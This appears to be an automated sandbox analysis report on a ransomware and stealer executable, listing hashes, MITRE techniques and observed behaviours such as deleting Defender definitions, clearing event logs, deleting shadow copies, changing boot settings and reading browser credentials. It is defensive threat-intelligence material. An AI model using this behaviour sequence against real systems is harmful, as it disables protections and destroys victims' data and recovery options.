12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be

Resubmissions

22/01/2025, 09:38

250122-lmelbazrfn 10

22/11/2021, 10:55

211122-m1hessacf4 10

Analysis

max time kernel
58s
max time network
128s
platform
windows10_x64
resource
win10-en-20211014
submitted
22/11/2021, 10:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
Size

2.7MB
MD5

feb8f145c403b56d85ef7c662f169428
SHA1

45fbb554666bffa433eed118cd6fcbd069b3fa25
SHA256

12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be
SHA512

a69260bc132bc17607e48cafcd8278484e0ea4a7ad8d11559560b4589f4016aeae8dce89451735494860f4085098e20de400e4bfd189e7a6f7a61981299bc281

Score

10^/10

evasion ransomware spyware stealer trojan

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command-Line Interface

T1059

pid	Process
2868	MpCmdRun.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Clears Windows event logs 1 TTPs
evasion ransomware

Indicator Removal on Host
T1070
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
864	bcdedit.exe
364	bcdedit.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\xaml\onenote\ShareMainPage.xaml	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsSmallTile.scale-200.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Home\LTR\WideTile.scale-200.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Templates\1033\ApothecaryLetter.dotx.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_6ieDs0H0IcE0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\CommunityInterop.winmd	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\6416_36x36x32.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.properties.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_cy3wwfHZCZQ0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\AppxBlockMap.xml	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Assets\LockScreenBadgeLogo.scale-200.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fil_get.svg.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_Ib-0nlDkip00.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\AccessR_Trial-pl.xrm-ms.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_LGOdrw9-y3Y0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProDemoR_BypassTrial180-ppd.xrm-ms.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_rnJgakX0Kpc0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\starttile.dualsim1.smile.scale-150.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.scale-200.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Home\LTR\contrast-white\MedTile.scale-200.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\ui-strings.js.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_xYjzwqMi9R40.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\cs-CZ\tipresx.dll.mui	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\WordR_OEM_Perp-ul-oob.xrm-ms.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_Xa7U4ln9IHQ0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\starttile.dualsim2.sad.scale-150.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\1725_20x20x32.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019VL_KMS_Client_AE-ul-oob.xrm-ms.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_p5pu8UPOs0w0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-36_altform-unplated.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Logos\Square44x44\PaintAppList.targetsize-256_altform-unplated.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaTypewriterBold.ttf.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_xj5TrJ_hBZQ0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteSplashLogo.scale-400.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-80_altform-unplated.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_w6dQQ5Ex0700.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\manifestAssets\Square44x44Logo.scale-100.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.DailyChallenges\Assets\PrizeHistory\awards_base.jpg	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\lk_16x11.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\RTL\SmallTile.scale-100.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\InsiderHubSplashWideTile.scale-125_contrast-white.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MML2OMML.XSL.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_ini1NdbYlQE0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Windows Media Player\ja-JP\setup_wm.exe.mui	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\form_responses.gif.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_Aq4hNZzCJzA0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Trial2-ul-oob.xrm-ms.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_KuERClEtACo0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Fues\Upsell_without_PremiumEdition.jpg	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxMailSplashLogo.scale-400.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover_2x.png.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_ZbroyrVNOeQ0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.DailyChallenges\Assets\Animation\coin particles.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-sendopts.jar.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_u278SoK7bak0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL110.XML.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_D0Vtk84u4JY0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\HowToPlay\StarClub\Help_3_2.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\DarkTheme.acrotheme.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_1so2iIc-yZI0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\cs-cz\ui-strings.js.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_ZVeDfipvGPE0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\license.html.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_-PCZRBJmCZg0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\ANTQUABI.TTF.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_v-A5L-JBOAA0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxA-Generic-Dark.scale-250.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-140.png.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_nhZt9PZmi200.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe\Assets\Office\move.scale-140.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\ms_60x42.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL020.XML.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_mjt4dgUpvZM0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-100.png.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_wFhrYswCU7U0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Thumbnails\Sticker_Icon_Wood.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.targetsize-48.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\ui-strings.js.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_1_-Foo_uAe80.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\cs-cz\ui-strings.js.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_vL7rBM4SyY40.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ja-jp\ui-strings.js.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_WIZpVFLR83A0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_zh_4.4.0.v20140623020002.jar.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_SSZ932HCQZY0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProVL_KMS_Client-ppd.xrm-ms.Qq26MVL72p8wzeLxAM7a4WC6tghoPc67Uexkf7Yx7aT_aroJal8tAKQ0.4v5et	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\GamesXboxHubWideTile.scale-125_contrast-high.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Fues\Texture_bg.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Icons\friends_activity.png	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Lumia.ViewerPlugin\CompositeSurface\CompositeControl.xaml	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
640	vssadmin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1092	powershell.exe
1092	powershell.exe
1092	powershell.exe
3904	powershell.exe
3904	powershell.exe
3904	powershell.exe
3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe
3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	828	wevtutil.exe
Token: SeBackupPrivilege	828	wevtutil.exe
Token: SeSecurityPrivilege	3640	wevtutil.exe
Token: SeBackupPrivilege	3640	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	584	wmic.exe
Token: SeSecurityPrivilege	584	wmic.exe
Token: SeTakeOwnershipPrivilege	584	wmic.exe
Token: SeLoadDriverPrivilege	584	wmic.exe
Token: SeSystemProfilePrivilege	584	wmic.exe
Token: SeSystemtimePrivilege	584	wmic.exe
Token: SeProfSingleProcessPrivilege	584	wmic.exe
Token: SeIncBasePriorityPrivilege	584	wmic.exe
Token: SeCreatePagefilePrivilege	584	wmic.exe
Token: SeBackupPrivilege	584	wmic.exe
Token: SeRestorePrivilege	584	wmic.exe
Token: SeShutdownPrivilege	584	wmic.exe
Token: SeDebugPrivilege	584	wmic.exe
Token: SeSystemEnvironmentPrivilege	584	wmic.exe
Token: SeRemoteShutdownPrivilege	584	wmic.exe
Token: SeUndockPrivilege	584	wmic.exe
Token: SeManageVolumePrivilege	584	wmic.exe
Token: 33	584	wmic.exe
Token: 34	584	wmic.exe
Token: 35	584	wmic.exe
Token: 36	584	wmic.exe
Token: SeIncreaseQuotaPrivilege	1200	wmic.exe
Token: SeSecurityPrivilege	1200	wmic.exe
Token: SeTakeOwnershipPrivilege	1200	wmic.exe
Token: SeLoadDriverPrivilege	1200	wmic.exe
Token: SeSystemProfilePrivilege	1200	wmic.exe
Token: SeSystemtimePrivilege	1200	wmic.exe
Token: SeProfSingleProcessPrivilege	1200	wmic.exe
Token: SeIncBasePriorityPrivilege	1200	wmic.exe
Token: SeCreatePagefilePrivilege	1200	wmic.exe
Token: SeBackupPrivilege	1200	wmic.exe
Token: SeRestorePrivilege	1200	wmic.exe
Token: SeShutdownPrivilege	1200	wmic.exe
Token: SeDebugPrivilege	1200	wmic.exe
Token: SeSystemEnvironmentPrivilege	1200	wmic.exe
Token: SeRemoteShutdownPrivilege	1200	wmic.exe
Token: SeUndockPrivilege	1200	wmic.exe
Token: SeManageVolumePrivilege	1200	wmic.exe
Token: 33	1200	wmic.exe
Token: 34	1200	wmic.exe
Token: 35	1200	wmic.exe
Token: 36	1200	wmic.exe
Token: SeIncreaseQuotaPrivilege	1200	wmic.exe
Token: SeSecurityPrivilege	1200	wmic.exe
Token: SeTakeOwnershipPrivilege	1200	wmic.exe
Token: SeLoadDriverPrivilege	1200	wmic.exe
Token: SeSystemProfilePrivilege	1200	wmic.exe
Token: SeSystemtimePrivilege	1200	wmic.exe
Token: SeProfSingleProcessPrivilege	1200	wmic.exe
Token: SeIncBasePriorityPrivilege	1200	wmic.exe
Token: SeCreatePagefilePrivilege	1200	wmic.exe
Token: SeBackupPrivilege	1200	wmic.exe
Token: SeRestorePrivilege	1200	wmic.exe
Token: SeShutdownPrivilege	1200	wmic.exe
Token: SeDebugPrivilege	1200	wmic.exe
Token: SeSystemEnvironmentPrivilege	1200	wmic.exe
Token: SeRemoteShutdownPrivilege	1200	wmic.exe
Token: SeUndockPrivilege	1200	wmic.exe
Token: SeManageVolumePrivilege	1200	wmic.exe
Token: 33	1200	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 2696	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	68
PID 3032 wrote to memory of 2696	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	68
PID 2696 wrote to memory of 504	2696	net.exe	70
PID 2696 wrote to memory of 504	2696	net.exe	70
PID 3032 wrote to memory of 1320	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	71
PID 3032 wrote to memory of 1320	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	71
PID 1320 wrote to memory of 800	1320	net.exe	73
PID 1320 wrote to memory of 800	1320	net.exe	73
PID 3032 wrote to memory of 1244	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	74
PID 3032 wrote to memory of 1244	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	74
PID 1244 wrote to memory of 3372	1244	net.exe	76
PID 1244 wrote to memory of 3372	1244	net.exe	76
PID 3032 wrote to memory of 780	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	77
PID 3032 wrote to memory of 780	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	77
PID 780 wrote to memory of 2272	780	net.exe	79
PID 780 wrote to memory of 2272	780	net.exe	79
PID 3032 wrote to memory of 2956	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	80
PID 3032 wrote to memory of 2956	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	80
PID 2956 wrote to memory of 860	2956	net.exe	82
PID 2956 wrote to memory of 860	2956	net.exe	82
PID 3032 wrote to memory of 3012	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	83
PID 3032 wrote to memory of 3012	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	83
PID 3012 wrote to memory of 3808	3012	net.exe	85
PID 3012 wrote to memory of 3808	3012	net.exe	85
PID 3032 wrote to memory of 3532	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	86
PID 3032 wrote to memory of 3532	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	86
PID 3532 wrote to memory of 1212	3532	net.exe	88
PID 3532 wrote to memory of 1212	3532	net.exe	88
PID 3032 wrote to memory of 2876	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	89
PID 3032 wrote to memory of 2876	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	89
PID 2876 wrote to memory of 1836	2876	net.exe	91
PID 2876 wrote to memory of 1836	2876	net.exe	91
PID 3032 wrote to memory of 1788	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	92
PID 3032 wrote to memory of 1788	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	92
PID 1788 wrote to memory of 1560	1788	net.exe	94
PID 1788 wrote to memory of 1560	1788	net.exe	94
PID 3032 wrote to memory of 3804	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	95
PID 3032 wrote to memory of 3804	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	95
PID 3032 wrote to memory of 3188	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	97
PID 3032 wrote to memory of 3188	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	97
PID 3032 wrote to memory of 1032	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	99
PID 3032 wrote to memory of 1032	3032	12baa6c83e6f8b059e7f14cb67bdad4e917b90bc8a139b5379a4b42a0c92a6be.exe	99
